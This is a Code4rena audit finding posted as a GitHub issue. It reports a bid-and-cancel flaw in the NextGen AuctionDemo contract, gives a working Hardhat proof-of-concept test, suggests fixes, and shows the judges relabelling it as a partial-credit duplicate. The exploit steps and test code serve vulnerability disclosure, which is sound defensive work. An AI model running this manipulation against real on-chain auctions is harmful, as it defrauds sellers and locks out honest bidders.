Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Auction DoS and Manipulation #1784

Closed
c4-submissions opened this issue Nov 13, 2023 · 8 comments
Closed

Auction DoS and Manipulation #1784

c4-submissions opened this issue Nov 13, 2023 · 8 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-1323 partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)

Comments

@c4-submissions
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L58

Vulnerability details

Impact

The AuctionDemo contract is susceptible to Denial of Service (DoS) and manipulation through malicious bids, stemming from its approach to accepting and managing bids. Exploiting this weakness, an attacker can not only block other users from placing bids but also secure a winning position in the auction with the minimum bid amount.

Proof of Concept

The participateToAuction function reverts if msg.value is not greater than the current highest bid. However, bids can be canceled at any point just before the auction's end time using the functions cancelBid and cancelAllBids. Given this, the following steps can be executed:

  1. The attacker initiates a bid with a negligible amount.
  2. Following this, possibly within the same transaction, the attacker places a bid with an exceptionally high amount, significantly surpassing the expected market value of the NFT.
  3. Any economically motivated user is effectively barred from bidding, as the bid amount set by the attacker is prohibitively high. Even if a user attempts to bid such amount, the attacker stands to lose nothing in the end.
  4. Just before the auction concludes, the attacker calls the cancelBid function, specifying the index of the highest bid.
  5. The auction concludes, and the NFT is transferred to the attacker at a minimal cost. If, against the odds, another user manages to call participateToAuction with a higher bid in an attempt to outbid the attacker, the attacker incurs no loss. Yet, the NFT is likely to be sold for an unfairly low price.

In the best-case scenario, users will be blocked from participating in the auction, making a fair bidding process unattainable. In the worst-case scenario, the attacker can acquire the NFT at an unfairly low price.

It is important to note that this serves as an illustrative example featuring extreme values for clarity. A sophisticated attack might employ refined calculations for subtler and gradual manipulations, achieving a similar outcome with lesser gains and reduced detectability. Regardless, such manipulations would compromise the integrity of the auction, resulting in a loss of value.

Demonstration

Create a new file at hardhat/test/randomizerRevert.js and add the following content:

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai")
  const { ethers, network } = require("hardhat")
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  
describe.only("Audit: Auction DoS Manipulation", function() {
    before(async function () {
        ;({ signers, contracts } = await loadFixture(fixturesDeployment))

        await contracts.hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            ["desc"],
        )

        await contracts.hhAdmin.registerCollectionAdmin(
            1,
            signers.addr1.address,
            true,
        )
    
        await contracts.hhCore.connect(signers.addr1).setCollectionData(
            1,                      // _collectionID
            signers.addr1.address,  // _collectionArtistAddress
            2,                      // _maxCollectionPurchases
            10000,                  // _collectionTotalSupply
            0,                      // _setFinalSupplyTimeAfterMint
        )

        await contracts.hhCore.addMinterContract(
            contracts.hhMinter,
        )

        await contracts.hhCore.addRandomizer(
            1, contracts.hhRandomizer,
        )

        await contracts.hhMinter.setCollectionCosts(
            1, // _collectionID
            0, // _collectionMintCost
            0, // _collectionEndMintCost
            0, // _rate
            1, // _timePeriod
            1, // _salesOptions
            '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
        )

        await contracts.hhMinter.setCollectionPhases(
            1,            // _collectionID
            100,          // _allowlistStartTime
            3333333333,   // _allowlistEndTime
            100,          // _publicStartTime
            3333333333,   // _publicEndTime
            "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
        );


        const auctionFactory = await ethers.getContractFactory("auctionDemo");
        contracts.auction = await auctionFactory.deploy(
            contracts.hhMinter.getAddress(), contracts.hhCore.getAddress(), contracts.hhAdmin.getAddress()
        );
    })

    it("DoS and manipulate the auction", async function() {
        // Addresses and attacker's balance
        const victim = signers.addr1;
        const attacker = signers.addr2;
        const attackerStartBalance = await ethers.provider.getBalance(attacker);

        // Reusable parameters
        const auctionEndTime = 3333333333;
        const tokenId = 10_000_000_000;

        // Mint a token and send it to auction
        await contracts.hhMinter.mintAndAuction(
            victim.address, // _recipient
            "auction",      // _tokenData
            0,              // _saltfun_o
            1,              // _collectionID
            auctionEndTime, // _auctionEndTime
        );
        // Approve the Auction contract to move the token
        await contracts.hhCore.connect(victim).approve(contracts.auction.getAddress(), tokenId)
        
        // 1. First, we lock the the auction by bidding both a very small and a very high amount
        contracts.auction.connect(attacker).participateToAuction(tokenId, {value: 1}); // 1 wei
        contracts.auction.connect(attacker).participateToAuction(tokenId, {value: 50000000000000000000n}) // 50 ether

        // 2. Other economically motivated users are effectively locked from bidding.
        //    But, if they bid a higher value, the attacker will lose nothing.
        await expect(
            contracts.auction.participateToAuction(tokenId, {value: 1000000000000000000n}) // 1 ether
        ).to.be.revertedWithoutReason();

        await expect(
            contracts.auction.participateToAuction(tokenId, {value: 10000000000000000000n}) // 10 ether
        ).to.be.revertedWithoutReason();

        // Mines a block to simulate passage of time...
        const before15 = auctionEndTime - (60 * 15);
        await network.provider.request({
            method: "evm_mine",
            params: [before15],
        });

        // 3. Attacker waits and, when the auction's end is near enough, cancels the highest bid
        await contracts.auction.connect(attacker).cancelBid(tokenId, 1)

        // Ends the auction...
        await network.provider.request({
            method: "evm_mine",
            params: [auctionEndTime],
        });

        // 4. Auction has ended, attacker can now claim auction and pay a smaller value
        await contracts.auction.connect(attacker).claimAuction(tokenId);

        // 5. Attacker owns the NFT and has spent a negligible amount
        expect(await contracts.hhCore.ownerOf(tokenId)).to.equal(attacker.address);

        // On my side, I have consistently got 474316140498500 wei/0.0004743161404985 ether.
        // Since I'm not really sure if these values vary in other Hardhat setups and versions, I'm testing
        // for a higher, but still negligible, amount. In case this test fails in your setup, please, make
        // sure `attackerSpent` is not another negligible amount, but higher than the tested below.
        const attackerSpent = attackerStartBalance - await ethers.provider.getBalance(attacker);
        expect(attackerSpent).to.be.below(1000000000000000); // Attacker has spent below 0.001 ETH
    })
})

Next, since we are using .only to only run our test, execute the following command from within the hardhat directory:

$ npx hardhat test

Tools Used

Manual: code editor, Hardhat.

Recommended Mitigation Steps

One potential quick solution might involve temporarily locking the bidded funds until the conclusion of the auction, serving as a deterrent against attackers attempting this exploit.

Alternatively, a more intricate solution could entail restructuring the auctionInfoData to utilise a map instead of an array, allowing any msg.value for bidding. This approach would need to assign each msg.value to a distinct temporal priority queue to address equal bids. At the conclusion of the auction, the first bidder to have placed the highest bid in their bucket would emerge as the winner, rendering the exploit ineffective. As an added convenience, you can include a boolean parameter, giving users the option to revert the transaction in case there is a higher bid already.

Regardless of the chosen solution, viable options exist that will not compromise user experience or impede economic efficiency.

Assessed type

DoS

@c4-submissions c4-submissions added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 13, 2023
c4-submissions added a commit that referenced this issue Nov 13, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #486

@c4-judge
Copy link

c4-judge commented Dec 1, 2023

alex-ppg marked the issue as not a duplicate

@c4-judge c4-judge added the primary issue Highest quality submission among a set of duplicates label Dec 1, 2023
@c4-judge
Copy link

c4-judge commented Dec 1, 2023

alex-ppg marked the issue as primary issue

This was referenced Dec 2, 2023
@c4-judge
Copy link

c4-judge commented Dec 4, 2023

alex-ppg marked issue #1513 as primary and marked this issue as a duplicate of 1513

@c4-judge c4-judge closed this as completed Dec 4, 2023
@c4-judge c4-judge added duplicate-1513 duplicate-1323 and removed primary issue Highest quality submission among a set of duplicates duplicate-1513 labels Dec 4, 2023
@c4-judge
Copy link

c4-judge commented Dec 7, 2023

alex-ppg marked the issue as duplicate of #1323

@c4-judge c4-judge added the partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) label Dec 8, 2023
@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as partial-50

@c4-judge c4-judge added satisfactory satisfies C4 submission criteria; eligible for awards and removed partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) labels Dec 8, 2023
@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as satisfactory

@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as partial-50

@c4-judge c4-judge added partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) and removed satisfactory satisfies C4 submission criteria; eligible for awards labels Dec 8, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-1323 partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)
Projects
None yet
Development

No branches or pull requests

3 participants